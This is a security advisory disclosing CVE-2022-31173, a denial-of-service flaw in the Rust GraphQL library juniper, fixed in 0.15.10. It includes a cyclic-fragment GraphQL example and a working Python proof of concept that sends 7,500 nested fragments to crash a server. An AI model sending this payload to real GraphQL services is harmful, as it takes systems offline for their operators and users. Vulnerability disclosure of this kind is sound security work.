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DOS GraphQL Nested Fragments overflow

High
tyranron published GHSA-4rx6-g5vg-5f3j Jul 28, 2022

Package

cargo juniper (Rust)

Affected versions

<= 0.15.9

Patched versions

0.15.10

Description

GraphQL behaviour

Nested fragment in GraphQL might be quite hard to handle depending on the implementation language.
Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.

# Infinite loop example
query {
    ...a
}

fragment a on Query {
    ...b
}

fragment b on Query {
    ...a
}

POC TLDR

With max_size being the number of nested fragment generated.
At max_size=7500, it should instantly raise:

However, with a lower size, you will overflow the memory after some iterations.

Reproduction steps (Juniper)

git clone https://github.com/graphql-rust/juniper.git
cd juniper

Save this POC as poc.py

import requests
import time
import json
from itertools import permutations

print('=== Fragments POC ===')

url = 'http://localhost:8080/graphql'

max_size = 7500
perms = [''.join(p) for p in permutations('abcefghijk')]
perms = perms[:max_size]

fragment_payloads = ''
for i, perm in enumerate(perms):
    next_perm = perms[i+1] if i < max_size-1 else perms[0]
    fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'

payload = {'query':'query{\n  ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}

headers = {
  'Content-Type': 'application/json',
}

try:
    response = requests.request('POST', url, headers=headers, json=payload)
    print(response.text)
except requests.exceptions.ConnectionError:
    print('Connection closed, POC worked.')
cargo run
[in separate shell] python3 poc.py

Credits

@Escape-Technologies

@c3b5aw
@MdotTIM
@karimhreda

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2022-31173

Weaknesses

Credits